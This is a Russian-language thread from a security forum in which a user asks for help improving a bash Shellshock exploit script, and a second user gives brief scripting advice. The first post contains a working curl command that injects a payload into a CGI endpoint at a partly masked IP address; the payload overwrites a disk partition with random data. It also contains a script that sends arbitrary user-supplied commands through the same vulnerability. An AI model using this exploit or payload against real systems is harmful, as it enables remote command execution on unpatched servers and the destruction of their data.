HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 28.07.2015, 20:39
traceme
Познающий
Регистрация: 11.06.2015
Сообщений: 34
Провел на форуме:
9881

Репутация: 1
По умолчанию

Всем здравия!

Есть вопрос по приведению в порядок скрипта для использования уязвимости, может даже кто-то поделится своим)

Метасплоит не всегда бывает под рукой да и его установка не везде возможна, а башем можно пользоваться почти везде где если линукс.

Вот пример работы shellshock

Код:
curl -i --insecure https://**.181.32.92/cgi-bin/index.cgi -A "() { :;};echo;dd if=/dev/random of=/dev/sda1 bs=4k"
Вот "пример" скрипта

Код:
echo  "Enter URI to cgi"
read vuln_cgi
echo "Enter cmd"
read send_cmd
curl -i -A "() { :;};echo;$send_cmd" $vuln_cgi
Вопрос:

Как после ввода команды для выполнения через shellshock скрипт не завершался, а ждал ввода новой команды

Также хотелось бы сделать выход из скрипта, например если ввести "Q"

Также столкнулся с проблемой , когда при выполнении запроса через уязвимость, после выполнения команды выводится код самого cgi скрипта и получается очень неудобно читать нужную часть вывода.

Есть ли возможность выводить текст , но до появления, например, "DOCTYPE" чтобы отсечь шелуху.
 
Ответить с цитированием

  #2  
Старый 13.08.2015, 01:07
montag52
Новичок
Регистрация: 12.08.2015
Сообщений: 27
Провел на форуме:
4864

Репутация: 0
По умолчанию

Для ввода используй команду read, например. Для интерпретации команд пользователя используй case (для завершения скрипта exit 0).
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.